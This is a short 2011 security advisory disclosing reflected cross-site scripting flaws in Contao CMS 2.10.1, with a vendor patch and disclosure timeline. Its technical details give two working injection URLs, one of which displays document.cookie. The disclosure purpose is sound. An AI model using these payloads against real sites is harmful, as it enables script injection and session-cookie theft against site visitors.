Contao 2.10 Cross Site Scripting

`Advisory: Contao 2.10.1 Cross-site scripting vulnerability  
Advisory ID: SSCHADV2011-025  
Author: Stefan Schurtz  
Affected Software: Successfully tested on Contao 2.10.1  
Vendor URL: http://www.contao.org/  
Vendor Status: fixed  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
Contao 2.10 is prone to multiple Cross-site scripting vulnerability  
  
==================  
Technical Details:  
==================  
  
http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert('xss')</script>  
http://<target>/contao-2.10.1/index.php/teachers/'"</style></script><script>alert(document.cookie)</script>  
  
=========  
Solution:  
=========  
  
- Vendor patch available - http://dev.contao.org/projects/typolight/repository/revisions/1041  
- Release of a new version 2.10.2 next week  
  
====================  
Disclosure Timeline:  
====================  
  
07-Oct-2011 - informed developers ([email protected])  
07-Oct-2011 - vendor fix  
08-Oct-2011 - release date of this security advisory  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Stefan Schurtz.  
  
===========  
References:  
===========  
  
http://www.contao.org/  
http://dev.contao.org/projects/typolight/repository/revisions/1041  
http://www.rul3z.de/advisories/SSCHADV2011-025.txt  
`